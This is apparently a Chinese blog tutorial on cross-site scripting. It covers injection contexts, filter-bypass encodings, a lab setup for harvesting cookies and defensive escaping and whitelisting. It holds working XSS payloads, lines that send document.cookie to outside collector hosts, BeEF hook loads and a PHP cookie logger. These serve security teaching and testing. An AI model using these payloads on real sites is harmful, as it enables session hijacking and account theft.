XSS

XSS简介

跨站脚本攻击也就是我们常说的XSS,是Web攻击中最常见的攻击手法之一,通过在网页插入可执行代码,达到攻击的目的。本质上来说也是一种注入,是一种静态脚本代码(HTML或Javascript等)的注入,当览器渲染整个HTML文档时触发了注入的脚本,从而导致XSS攻击的发生。

XSS的分类

类型 存储区 插入点
存储型 后端数据库 HTML
反射型 URL HTML
DOM型 后端数据库/前端存储/URL 前端JavaScript

HTML元素

共有5种元素:空元素、原始文本元素、RCDATA元素、外来元素、常规元素。

空元素

area、base、br、col、command、embed、hr、img、input、keygen、link、meta、param、source、track、wbr

原始文本元素

script、style

RCDATA元素

textarea、title

外来元素

来自MathML命令空间和SVG命名空间的元素

常规元素

其他HTML允许的元素都称为常规元素

XSS挖掘思路

XSS漏洞的本质是一种注入,是一种静态脚本代码的注入。
那么,大体的挖掘思路就显而易见了:寻找可控点(参数)-> 尝试注入

XSS

XSS的可控点(业务)

XSS

XSS出现场景分析

可控点:

  • 输出内容在标签之间

    • 普通标签如<pre>

    • RCDATA标签如<textarea>

  • 输出内容在标签属性中

    • 输出在普通标签value属性中

    • 输出在src/href属性中

  • 输出内容在<script>标签中

  • 输出内容在特殊响应包中:Content-Typetext/javascript的响应包中

  • 输出结果在CSS中:比较少见,现有浏览器基本可以进行防御

输出结果在标签之间

相关案例

<pre>[---用户输入---]</pre>

测试方法:直接插入XSS Payload即可触发

<!--用户输入:<svg onload="alert(1)"></svg>-->
<html>
  <head></head>
  <body>
    <pre>
      <svg onload="alert(1)"></svg>
    </pre>
  </body>
</html>

输出结果在RCDATA之间

相关案例

<textarea>[---用户输入---]</textarea>

测试方法:直接插入XSS Payload无法触发,需要先闭合,再新建。

<!--用户输入:</textarea><svg onload="alert(1)"></svg>-->
<html>
  <head></head>
  <body>
    <textarea></textarea>
    <svg onload="alert(1)"></svg>
  </body>
</html>

补全标签后浏览器成功将Payload解析成标签体(在浏览器看代码颜色是彩色的)

输出结果在标签属性中

相关案例

<input type=‘text‘ value=‘[---用户输入---]‘>

测试方法

<!--用户输入:alert(1)-->
<input type="text" value="" onclick="alert(1)">
<!--用户输入:"><svg/onload=alert(1)>-->
<input type="text" value=""><svg/onload=alert(1)>">

输出结果在SRC/href属性中

相关案例

<iframe src=‘[---用户输入---]‘></iframe>

测试方法

方法一:参考输出结果在标签属性中
方法二:利用协议(常用的JavaScript协议、DATA协议)

<iframe src=‘javaScript:alert(1)‘></iframe>

其他情况

  • 输出内容在<script>标签中:尝试闭合JS语句进行触发

  • 输出内容在Content-Typetext/javascript的响应包中:尝试原JS语句进行触发

  • 输出内容在CSS代码中:IE浏览器支持CSS中的expression,利用此类表达式可以执行XSS。

<span style="color:1;x:expression(alert(/xss/));"></span>

XSS危害

XSS

常用的触发XSS的HTML标签

<iframe>    会创建包含另外一个文档的内联框架(即行内框架)
<textarea>  定义多行的文本输入控件
<img>       向网页中嵌入一幅图像
<script>    定义客户端脚本,即可包含脚本语句,也可通过src访问外部脚本
<input>
<svg/onload=alert(1)>  svg大法!!!
<a>
其实自己创建标签也能弹窗,比如<zxc onclick=alert(1)>xss</zxc>

常用的JavaScript方法

alert
window.location
location.href
onload
onsubmit
onerror

构造XSS脚本

弹窗警告(做测试使用)
<script>alert(‘xss‘)</script>
<script>alert(document.cookie)</script>

页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹窗警告并重定向(克隆网站,收集账户)
<script>alert("请移步我们的新站");location.href="http://www.baidu.com"</script>
<script>alert(‘xss‘);location.href="http://10.1.64.35/robots.txt"</script>

访问恶意代码
<script src="http://ipaddress.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> 结合BeEF收集用户cookie

巧用图片标签
<img src="#" onerror=alert(‘xss‘)>
<img src="javascript:alert(‘xss‘);">
<img src="http://BeEF_IP:3000/hook.js"></img>

绕开过滤脚本
大小写:<ScrIpt>alert(‘xss‘)</SCRipt>
字符编码:采用URL、Base64等编码

收集用户cookie
<script>window.open("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://ip.com/cookie.php?cookie="+document.cookie></img>
<iframe src="http://ip.com/cookie.php?cookie="+document.cookie></iframe>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;
img.width = 0;
img.height = 0;
</script>

DOM型XSS

区别于其他的就是DOM型XSS不经过服务端,而是在前端的函数中直接执行。在BurpSuite中抓包是抓不到的。比如在#号之后的东西,在BurpSuite中是看不到的。

http://192.168.0.123/xss/domxss.jsp?id=1#javascript:alert(1)
在BurpSuite中抓包如下
GET /xss/domxss.jsp?id=1

因为在前端代码中,<script>中写的有问题,有个location.hash,而且没有做任何处理,就做了个跳转,从而我们可以使用Javascript伪协议触发了此DOM型XSS

<script>
  var hash = location.hash;
  if (hash) {
    var url = hash.substring(1);
    location.href = url;
  }
</script> 

实例:通过XSS漏洞获取Cookie值

构建收集cookie服务器

启动apache

systemctl start apache2

创建php文件

vim /var/www/html/cookie_rec.php
<?php
    $cookie = $_GET[‘cookie‘];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "
");
    fclose($log);
?>

更改/var/www目录的权限

chown -R www-data.www-data /var/www/

构造XSS代码并植入到web服务器

<script>windows.open(‘http://kali.address/cookie_rec.php?cookie‘+document.cookie)</script>

如果前端限制了max-length,直接F1打开开发者工具,前端改掉长度限制。然后等待靶机触发XSS代码并将cookie发送到Kali

XSS蠕虫

一种具有自我传播能力的XSS攻击,杀伤力很大,引发XSS蠕虫的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要结合反射型XSS和存储型XSS。

XSS平台

是为了XSS漏洞利用而生,最基础的功能是利用XSS漏洞盗取客户端的cookie数据,获取到cookie后就可以充当客户身份登录平台。

XSS漏洞绕过思路

常见姿势:

  1. 双URL编码

  2. Multipart方式提交

  3. 浏览器容错性

  4. 编码绕过

  5. <svg>标签绕过

  6. data协议

  7. html标签闭合

场景1:HTML实体编码+过滤缺陷绕过

  • <>做了HTML实体编码

    • 应对方式:继续在标签内找机会,比如参数覆盖等
  • 过滤了常见的JS事件

    • 应对方式:使用BurpSuite暴破看看其他事件是否过滤
  • 过滤了alert等常见的触发方法

  • 应对方式:ASCII编码、Unicode编码、HTML实体十六进制编码

最终Payload

openid=test"type="text"onmouseout="\u0061\u006c\u0065\u0072\u0074(1)

场景2:组合编码+Data协议绕过

  • 特殊符号被HTML实体编码

    • 应对方式:双重URL编码
  • 过滤了绝大部分的JS事件

  • 过滤了大部分标签

    • 应对方式:创建新的标签<embed>
test%2522%253e%253cembed%2520src=%253e
# test"><embed src> 
  • 过滤了JavaScript协议以及base64关键字

    • 应对方式:编码解决
<embed src="data:text/htmL;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">

# PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+为<svg/onload=alert(1)>的base64编码
# 尝试对逗号进行HTML实体编码(`&#44;`),这里对`&#`也进行了拦截,双重URL编码即可

最终Payload

test%2522%253e%253cembed%2520src=data:text/html:base64%2526%252344;PHN2ZyBvbmxvYWQ9YWxlcnQoMSk%252b%253e

心得1::特殊编码

服务端程序存在HTML编码操作,但由于把:编码为&colon;比较特殊,Java语言的方法无法对其进行HTML实体转化,但是浏览器可以正常转化,所以可以利用此方法来尝试绕过。

XSS防护

程序开发者

  • 对用户提交内容进行合法性校验

  • 对用户提交内容进行转义处理,建议输出转义,因为输入转义容易影响数据库的数据存储。

  • 对用户输入的长度进行限制

需作转义的字符 字符实体编码
& &
< <
> >
" "
/ /

普通用户

  • 不要轻易访问别人给你的长链接,它可能包含了转码后的恶意HTML代码

  • 禁止浏览器运行JS和ActiveX代码

特殊字符处理

一般的XSS漏洞是因为没有过滤特殊字符,导致可以通过注入单双引号以及尖括号等字符利用漏洞。我们常见的利用代码比如

‘"><img src=x onerror=alert(/xss/)>--

<script>alert(/xss/)</script>

我们可以看到或是利用了特殊字符将原本正常的标签闭合进行利用,所以对特殊的字符进行过滤是可行的。

特殊字符列表如下:

  • 单引号(

  • 双引号("

  • 尖括号(<>

  • 反斜杠(\

  • 冒号(:

  • and符(&

  • 井号(#

这些字符应该怎么过滤?这些字符什么时候过滤?
在正常系统中,为了保证用户体验以及数据的原始性,最好的过滤方式是在输出的时候进行如HTML实体一类的转码,防止脚本注入。

HTML转义输出

上面说到,特殊字符处理不能涵盖所有方面,有些特殊的地方要求输入特殊字符该怎么办呢?这里可以对所有输出和二次输出进行转义,可以最大限度保存数据的同时保证安全,可以用HtmlUtils实现HTML标签和转义字符的转换。

String string = HtmlUtils.htmlEscape(userinput); // 对字符进行转义
String s2 = HtmlUtils.htmlUnescape(string);  // 对字符进行恢复

标签事件属性黑名单

之前我们提到了过滤特殊字符防止XSS漏洞,实际上,即使过滤了也同样可能会被绕过,比如利用宽字节注入一样的方式吃掉斜杠,然后再利用标签事件来执行js代码,面对这种情况,建议是加标签事件的黑名单或者白名单,这里推荐白名单,实现规则可以用正则进行匹配。OWASP开源项目上面可以看到可以触发事件的标签,可以根据标签根据业务需求编写黑名单或者白名单。

参考:XSS Filter Evasion Cheatsheet

白名单参数限制

白名单限制应该是最安全的防御思路了,可以在filtter中编写相关的参数样式,然后过滤,如针对手机号码,只接收11位数字以13,15,17,18,19开头的数字,如果不是这些style则应该拒绝任何响应。

XSS

上一篇:噪声标签浅析


下一篇:kafka-manager配置安装及Kerberos(CDH)认证